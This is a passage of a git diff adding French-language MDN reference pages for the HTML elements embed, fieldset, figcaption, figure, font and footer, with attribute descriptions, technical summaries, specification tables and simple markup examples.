+   <td>Tout élément qui accepte du contenu intégré.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("application")}}, {{ARIARole("document")}}, {{ARIARole("img")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLEmbedElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'embedded-content.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'embedded-content-0.html#the-embed-element', '&lt;embed&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="note">
+<p><strong>Note</strong> : Avant Firefox 45, Firefox n'affichait pas le contenu HTML de la ressource mais utilisait un message générique indiquant que le contenu nécessitait un plugin (cf. {{bug("730768")}}).</p>
+</div>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.embed")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les autres éléments HTML utilisés pour intégrer différents types de contenu :
+  <ul>
+   <li>{{HTMLElement("audio")}}</li>
+   <li>{{HTMLElement("canvas")}}</li>
+   <li>{{HTMLElement("iframe")}}</li>
+   <li>{{HTMLElement("img")}}</li>
+   <li>{{MathMLElement("math")}}</li>
+   <li>{{HTMLElement("object")}}</li>
+   <li>{{SVGElement("svg")}}</li>
+   <li>{{HTMLElement("video")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/fieldset/index.html b/files/fr/web/html/element/fieldset/index.html
new file mode 100644
index 0000000000..acbab754cb
--- /dev/null
+++ b/files/fr/web/html/element/fieldset/index.html
@@ -0,0 +1,180 @@
+---
+title: '<fieldset> : l''élément pour les ensembles de champs'
+slug: Web/HTML/Element/Fieldset
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/fieldset
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;fieldset&gt;</code></strong> est utilisé afin de regrouper plusieurs contrôles interactifs ainsi que des étiquettes ({{HTMLElement("label")}}) dans un formulaire web.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Comme on peut le voir dans l'exemple ci-avant, l'élément <code>&lt;fieldset&gt;</code> permet de regrouper une partie d'un formulaire HTML et d'associer une légende ({{htmlelement("legend")}}) décrivant ce groupe. Cet élément utilise quelques attributs et notamment <code>form</code> dont la valeur correspond à la valeur de l'attribut <code>id</code> d'un élément {{htmlelement("form")}} de la même page. De cette façon, on peut avoir un élément <code>&lt;fieldset&gt;</code> qui soit rattaché à un formulaire mais qui ne soit pas imbriqué dans ce formulaire. L'attribut <code>disabled</code> permet de désactiver l'élément <code>&lt;fieldset&gt;</code> ainsi que l'ensemble de son contenu via une seule valeur.</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("disabled")}}{{HTMLVersionInline(5)}}</dt>
+ <dd>Si cet attribut booléen est utilisé, les contrôles de formulaires des éléments descendants sont désactivés (ils ne peuvent pas être édités). Bien qu'ils ne soient pas éditables, les données de ces contrôles seront envoyées avec le formulaire. Ces contrôles ne recevront pas les évènements liés à la navigations (tels que ceux liés aux clics ou au focus). La plupart du temps, ces contrôles désactivés apparaissent comme grisés. On notera que les éléments de formulaires au sein de l'élément {{HTMLElement("legend")}} ne seront pas désactivés.</dd>
+ <dt>{{htmlattrdef("form")}}</dt>
+ <dd>La valeur de cet attribut correspond à la valeur de l'attribut <code>id</code> de l'élément {{HTMLElement("form")}} auquel il est rattaché. La valeur par défaut est l'identifiant du plus proche élément {{HTMLElement("form")}} dont l'élément <code>&lt;fieldset&gt;</code> est le descendant.</dd>
+ <dt>{{htmlattrdef("name")}}</dt>
+ <dd>Le nom associé au groupe.
+ <div class="note"><strong>Note :</strong> L'étiquette du groupe de contrôle est donné par le premier élément enfant {{HTMLElement("legend")}} du <code>&lt;fieldset&gt;</code>.</div>
+ </dd>
+</dl>
+
+<h2 id="Mise_en_forme_avec_CSS">Mise en forme avec CSS</h2>
+
+<p>L'élément <code>&lt;fieldset&gt;</code> est quelque peu particulier pour la mise en forme.</p>
+
+<p>La valeur initiale de la propriété {{cssxref("display")}} pour cet élément est <code>block</code> et l'élément crée un contexte de formatage de bloc. Si l'élément <code>&lt;fieldset&gt;</code> est mis en forme avec une valeur <code>display</code> qui correspond à un style en ligne, celui-ci se comportera comme <code>inline-block</code> et sinon comme <code>block</code>. Par défaut, une bordure de 2 pixels ondulée entoure le contenu de l'élément et il y a un léger <em>padding</em>. Par défaut, l'élément a <code>min-inline-size: min-content</code>.</p>
+
+<p>Si un élément <code>&lt;legend&gt;</code> est présent, il est placé au dessus de la bordure située au début de l'axe de bloc. L'élément <code>&lt;legend&gt;</code> se réduit si besoin et établit également un contexte de formatage. Sa valeur <code>display</code> utilisée est <code>block</code> (autrement dit, on pourra le cibler avec <code>display: inline</code>, il continuera de se comporter comme <code>block</code>).</p>
+
+<p>Une boîte anonyme contiendra le contenu de <code>&lt;fieldset&gt;</code> et héritera de certaines propriétés de <code>&lt;fieldset&gt;</code>. Si l'élément <code>&lt;fieldset&gt;</code> est mis en forme avec <code>display: grid</code> ou <code>display: inline-grid</code>, la boîte anonyme aura un contexte de formatage de grille. Si <code>&lt;fieldset&gt;</code> est mis en forme avec <code>display: flex</code> ou <code>display: inline-flex</code>, la boîte anonyme aura un contexte de formatage flexible. Dans tous les autres cas, la boîte anonyme aura un contexte de formatage de bloc.</p>
+
+<div class="note">
+<p><strong>Note : </strong>À l'heure où nous écrivons ces lignes, Microsoft Edge et Google Chrome contiennent des bogues qui empêchent d'utiliser <a href="/fr/docs/Glossaire/Flexbox">les boîtes flexibles</a> et <a href="/fr/docs/Web/CSS/CSS_Grid_Layout">les grilles</a> à l'intérieur d'un élément {{HTMLElement("fieldset")}}. <a href="https://github.com/w3c/csswg-drafts/issues/321">Cette <em>issue</em> GitHub</a> fournit les liens vers les différents bugs.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;form action="test.php" method="post"&gt;
+  &lt;fieldset&gt;
+    &lt;legend&gt;Titre&lt;/legend&gt;
+    &lt;input type="radio" name="radio" id="radio"&gt;
+    &lt;label for="radio"&gt;Cliquez moi&lt;/label&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Exemple_simple","100%","80")}}</p>
+
+<h3 id="&lt;fieldset>_désactivé"><code>&lt;fieldset&gt;</code> désactivé</h3>
+
+<p>Dans cet exemple, on voit comment l'attribut <code>disabled</code> permet de désactiver un élément <code>&lt;fieldset&gt;</code> et l'ensemble de ses éléments par la même occasion.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;form action="#"&gt;
+  &lt;fieldset disabled&gt;
+    &lt;legend&gt;Fieldset désactivé&lt;/legend&gt;
+    &lt;div&gt;
+      &lt;label for="name"&gt;Nom : &lt;/label&gt;
+      &lt;input type="text" id="name" value="Chris"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+      &lt;label for="pwd"&gt;Archétype : &lt;/label&gt;
+      &lt;input type="password" id="pwd" value="Wookie"&gt;
+    &lt;/div&gt;
+  &lt;/fieldset&gt;
+&lt;/form&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('fieldset_désactivé', '100%', '110') }}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">racine de sectionnement</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associé_aux_formulaires">contenu énuméré</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_associé_aux_formulaires">élément relatif aux formulaires</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Un éventuel élément {{HTMLElement("legend")}} suivi par du contenu de flux.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLFieldSetElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition de l'élément <code>fieldset</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '&lt;fieldset&gt;')}}</td>
+   <td>{{Spec2('HTML4.01')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.fieldset")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>Les éléments HTML relatifs aux formulaires :
+  <ul>
+   <li>{{HTMLElement("form")}}</li>
+   <li>{{HTMLElement("legend")}}</li>
+   <li>{{HTMLElement("label")}}</li>
+   <li>{{HTMLElement("button")}}</li>
+   <li>{{HTMLElement("select")}}</li>
+   <li>{{HTMLElement("datalist")}}</li>
+   <li>{{HTMLElement("optgroup")}}</li>
+   <li>{{HTMLElement("option")}}</li>
+   <li>{{HTMLElement("textarea")}}</li>
+   <li>{{HTMLElement("keygen")}}</li>
+   <li>{{HTMLElement("input")}}</li>
+   <li>{{HTMLElement("output")}}</li>
+   <li>{{HTMLElement("progress")}}</li>
+   <li>{{HTMLElement("meter")}}</li>
+  </ul>
+ </li>
+</ul>
diff --git a/files/fr/web/html/element/figcaption/index.html b/files/fr/web/html/element/figcaption/index.html
new file mode 100644
index 0000000000..4269caaa03
--- /dev/null
+++ b/files/fr/web/html/element/figcaption/index.html
@@ -0,0 +1,108 @@
+---
+title: '<figcaption> : l''élément de légende d''une figure'
+slug: Web/HTML/Element/figcaption
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/figcaption
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;figcaption&gt;</code></strong> (pour <em>figure caption</em> en anglais) permet d'indiquer un sous-titre, une légende, associé à une figure ou à une illustration (cette dernière étant représentée par l'élément {{HTMLElement("figure")}} qui est le parent direct de la légende). L'élément <code>&lt;figcaption&gt;</code> est optionnel ; s'il n'est pas présent, la figure n'aura pas de légende.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figcaption.html","tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend uniquement en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;!-- Une image avec une légende : figcaption --&gt;
+&lt;figure&gt;
+  &lt;img src="https://developer.cdn.mozilla.net/media/img/mdn-logo-sm.png" alt="Une superbe photo"&gt;
+
+  &lt;figcaption&gt;Une légende pour cette photo&lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","120")}}</p>
+
+<div class="note">
+<p><strong>Note :</strong> Voir la page sur l'élément {{HTMLElement("figure") }} pour d'autres exemples portant sur <code>&lt;figcaption&gt;</code>.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td>Aucune.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">Contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Tag omission</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Un élément {{HTMLElement("figure")}}, l'élément <code>&lt;figcaption&gt;</code> doit être le premier ou le dernier élément fils pour cet élément <code>&lt;figure&gt;</code>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figcaption-element', '&lt;figcaption&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.figcaption")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("figure")}}.</li>
+</ul>
diff --git a/files/fr/web/html/element/figure/index.html b/files/fr/web/html/element/figure/index.html
new file mode 100644
index 0000000000..faeea41797
--- /dev/null
+++ b/files/fr/web/html/element/figure/index.html
@@ -0,0 +1,188 @@
+---
+title: '<figure> : l''élément de figure'
+slug: Web/HTML/Element/figure
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/figure
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;figure&gt;</code></strong> représente une figure (un schéma), qui peut être accompagné d'une légende grâce à l'élément {{HTMLElement("figcaption")}}. Il est normalement référencé de manière unique. C'est souvent une image, une illustration, un diagramme, un fragment de code ou un schéma auquel il est fait référence dans le texte principal mais qui peut être utilisé sur une autre page ou dans une annexe sans que cela affecte le contenu principal.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/figure.html","tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Cet élément prend uniquement en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<ul>
+ <li>Bien que cet élément soit en lien avec le contenu principal, sa position est indépendante du contenu principal du document.</li>
+ <li><code>&lt;figure&gt;</code> est <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">une racine de sectionnement</a>, son contenu est donc exclu du plan général du document.</li>
+ <li>Une légende peut être associée avec l'élément <code>&lt;figure&gt;</code> en insérant un élément {{HTMLElement("figcaption")}} à l'intérieur (en premier ou dernier élément enfant). C'est le premier élément <code>&lt;figcaption&gt;</code> qui sera trouvé dans la figure qui sera affiché comme légende.</li>
+</ul>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Premier_exemple">Premier exemple</h3>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;!-- Une simple image --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="Le logo de MDN."&gt;
+&lt;/figure&gt;
+
+&lt;!-- Une image avec une légende --&gt;
+&lt;figure&gt;
+  &lt;img
+  src="https://developer.mozilla.org/static/img/favicon144.png"
+  alt="Le logo de MDN."&gt;
+  &lt;figcaption&gt;Logo MDN&lt;/figcaption&gt;
+&lt;/figure&gt;
+</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample("Premier_exemple","100%","375")}}</p>
+
+<h3 id="Extrait_de_code">Extrait de code</h3>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;figure&gt;
+  &lt;figcaption&gt;Obtenir les détails du navigateur&lt;/figcaption&gt;
+  &lt;pre&gt;
+    function NavigatorExample(){
+      var txt;
+      txt = "Nom de code: " + navigator.appCodeName;
+      txt += "Nom du navigateur : " + navigator.appName;
+      txt += "Version : " + navigator.appVersion ;
+      txt += "Cookies activés : " + navigator.cookieEnabled;
+      txt += "Plate-forme: " + navigator.platform;
+      txt += "En-tête d'agent utilisateur : " + navigator.userAgent;
+      console.log("NavigatorExample", txt);
+    }
+  &lt;/pre&gt;
+&lt;/figure&gt;
+</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample("Extrait_de_code","100%","300")}}</p>
+
+<h3 id="Citation">Citation</h3>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;figure&gt;
+   &lt;figcaption&gt;
+     &lt;cite&gt;Edsger Dijkstra : &lt;/cite&gt;
+   &lt;/figcaption&gt;
+   &lt;p&gt;« Si le débogage correspond au retrait de bogues, alors la programmation correspond à l'ajout de bogues. »&lt;/p&gt;
+&lt;/figure&gt;</pre>
+
+<h4 id="Résultat_3">Résultat</h4>
+
+<p>{{EmbedLiveSample("Citation","100%","150")}}</p>
+
+<h3 id="Poème">Poème</h3>
+
+<h4 id="HTML_4">HTML</h4>
+
+<pre class="brush: html">&lt;figure&gt;
+ &lt;p&gt;
+  Bid me discourse, I will enchant thine ear,
+  Or like a fairy trip upon the green,
+  Or, like a nymph, with long dishevell'd hair,
+  Dance on the sands, and yet no footing seen:
+  Love is a spirit all compact of fire,
+  Not gross to sink, but light, and will aspire.
+ &lt;/p&gt;
+ &lt;figcaption&gt;&lt;cite&gt;Venus and Adonis&lt;/cite&gt;.
+  By: William Shakespeare&lt;/figcaption&gt;
+&lt;/figure&gt;</pre>
+
+<h4 id="Résultat_4">Résultat</h4>
+
+<p>{{EmbedLiveSample("Poème","100%","150")}}</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu" title="HTML/Content_categories">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">Contenu de flux</a>, <a href="/fr/docs/Web/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement" title="Sections and Outlines of an HTML5 document#Sectioning root">racine de sectionnement</a>, <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_tangible">contenu tangible</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td>Un élément {{HTMLElement("figcaption")}} suivi d'un <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">contenu de flux</a> ou du contenu de flux suivi d'un élément {{HTMLElement("figcaption")}} ou du contenu de flux.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balises</th>
+   <td>{{no_tag_omission}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Catégorie_de_contenu#Contenu_de_flux" title="HTML/Content categories#Flow content">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">Interface DOM</th>
+   <td>{{domxref("HTMLElement")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'semantics.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.2', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5.2')}}</td>
+   <td>Aucune modification depuis HTML 5.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'grouping-content.html#the-figure-element', '&lt;figure&gt;')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.figure")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTMLElement("figcaption")}}</li>
+</ul>
diff --git a/files/fr/web/html/element/font/index.html b/files/fr/web/html/element/font/index.html
new file mode 100644
index 0000000000..cb7cab147f
--- /dev/null
+++ b/files/fr/web/html/element/font/index.html
@@ -0,0 +1,46 @@
+---
+title: <font>
+slug: Web/HTML/Element/font
+tags:
+  - Element
+  - HTML
+  - Obsolete
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/font
+---
+<div>{{obsolete_header}}{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;font&gt;</code></strong> définit la taille du texte, sa couleur et la police utilisée.</p>
+
+<div class="warning">
+<p><em><strong>Attention !</strong> </em><br>
+ <strong>Cet élément ne doit pas être utilisé ! </strong>Bien que cet élément ait été normalisé avec HTML 3.2, il a été déprécié avec HTML 4.01, au même moment que tous les éléments dont le rôle se limitaient à la présentation. Il a été rendu obsolète avec HTML5.</p>
+
+<p>À partir de HTML4, HTML ne doit plus définir les informations liées à la mise en forme (en dehors de l'élément {{HTMLElement("style")}} ou de l'attribut <strong><code>style</code></strong> de chaque élément). Pour tout nouveau développement web, le style (la forme) doit uniquement être décrit seulement par le <a href="/fr/docs/Web/CSS">CSS</a>.</p>
+
+<p>Le comportement de l'élément {{HTMLElement("font")}} peut être obtenu, et même bien mieux contrôlé, en utilisant les propriétés CSS.</p>
+</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les autres éléments HTML, cet élément prend en charge <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<dl>
+ <dt>{{htmlattrdef("color")}}</dt>
+ <dd>Cet attribut définit la couleur du texte en utilisant soit une couleur nommée, soit une couleur indiquée par le format hexadécimal #RRGGBB.</dd>
+ <dt>{{htmlattrdef("face")}}</dt>
+ <dd>Cet attribut contient une liste d'une ou plusieurs police, séparées par des virgules. Le texte est affiché avec la première police que le navigateur supporte. Si aucune des polices listées n'est installée sur le système, le navigateur prend habituellement la police proportionnelle, ou à taille fixe par défaut, du système.</dd>
+ <dt>{{htmlattrdef("size")}}</dt>
+ <dd>Cet attribut indique la taille du texte par une valeur numérique ou relative. Les valeurs numériques vont de <code>1</code> à <code>7</code>, <code>1</code> étant la plus petite taille et <code>3</code> la taille par défaut. Il peut être défini en utilisant une valeur relative, comme <code>+2</code> ou <code>-3</code>, qui est relative par rapport à la valeur de l'attribut {{htmlattrxref("size", "basefont")}} de l'élément {{HTMLElement("basefont")}}, ou relatif à <code>3</code>, la valeur par défaut, si aucune existe.</dd>
+</dl>
+
+<h2 id="Interface_DOM">Interface DOM</h2>
+
+<p>Cet élément implément l'interface {{domxref('HTMLFontElement')}}.</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("html.elements.font")}}</p>
diff --git a/files/fr/web/html/element/footer/index.html b/files/fr/web/html/element/footer/index.html
new file mode 100644
index 0000000000..66a20de631
--- /dev/null
+++ b/files/fr/web/html/element/footer/index.html
@@ -0,0 +1,130 @@
+---
+title: <footer>
+slug: Web/HTML/Element/footer
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/footer
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;footer&gt;</code></strong> représente le pied de page de la section ou de la <a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document#Racines_de_sectionnement">racine de sectionnement</a> la plus proche. Un pied de page ou de section contient habituellement des informations sur l'auteur de la section, les données relatives au droit d'auteur (<em>copyright</em>) ou les liens vers d'autres documents en relation.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/footer.html", "tabbed-standard")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>Comme tous les éléments HTML, cet élément accepte <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a>.</p>
+
+<h2 id="Notes_d'utilisation"><strong>Notes d'utilisation</strong></h2>
+
+<ul>
+ <li>Les informations sur l'auteur doivent être placées dans un élément {{HTMLElement("address")}} et incluses dans l'élément <code>&lt;footer&gt;</code>.</li>
